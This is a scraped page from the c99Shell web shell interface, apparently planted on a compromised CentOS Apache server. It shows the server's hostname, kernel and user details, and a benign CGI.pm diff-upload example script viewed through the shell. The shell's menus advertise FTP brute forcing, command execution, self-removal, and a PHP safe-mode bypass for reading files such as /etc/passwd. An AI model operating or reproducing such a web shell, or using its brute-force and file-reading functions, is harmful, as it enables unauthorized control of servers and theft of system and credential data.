!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/lib/perl5/5.8.8/CGI/eg/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     diff_upload.cgi (1.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/local/bin/perl

$DIFF = "/usr/bin/diff";
$PERL = "/usr/bin/perl";

use CGI qw(:standard);
use CGI::Carp;

print header;
print start_html("File Diff Example");
print "<strong>Version </strong>$CGI::VERSION<p>";

print <<EOF;
<H1>File Diff Example</H1>
Enter two files.  When you press "submit" their diff will be
produced.
EOF
    ;

# Start a multipart form.
print start_multipart_form;
print "File #1:",filefield(-name=>'file1',-size=>45),"<BR>\n";
print "File #2:",filefield(-name=>'file2',-size=>45),"<BR>\n";
print "Diff type: ",radio_group(-name=>'type',
                    -value=>['context','normal']),"<br>\n";
print reset,submit(-name=>'submit',-value=>'Do Diff');
print endform;

# Process the form if there is a file name entered
$file1 = param('file1');
$file2 = param('file2');

$|=1;                # for buffering
if ($file1 && $file2) {
    $realfile1 = tmpFileName($file1);
    $realfile2 = tmpFileName($file2);
    print "<HR>\n";
    print "<H2>$file1 vs $file2</H2>\n";

    print "<PRE>\n";
    $options = "-c" if param('type') eq 'context';
    system "$DIFF $options $realfile1 $realfile2 | $PERL -pe 's/>/&gt;/g; s/</&lt;/g;'";
    close $file1;
    close $file2;
    print "</PRE>\n";
}

print <<EOF;
<HR>
<A HREF="../cgi_docs.html">CGI documentation</A>
<HR>
<ADDRESS>
<A HREF="/~lstein">Lincoln D. Stein</A>
</ADDRESS><BR>
Last modified 17 July 1996
EOF
    ;
print end_html;

sub sanitize {
    my $name = shift;
    my($safe) = $name=~/([a-zA-Z0-9._~#,]+)/;
    unless ($safe) {
    print "<strong>$name is not a valid Unix filename -- sorry</strong>";
    exit 0;
    }
    return $safe;
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0117 ]--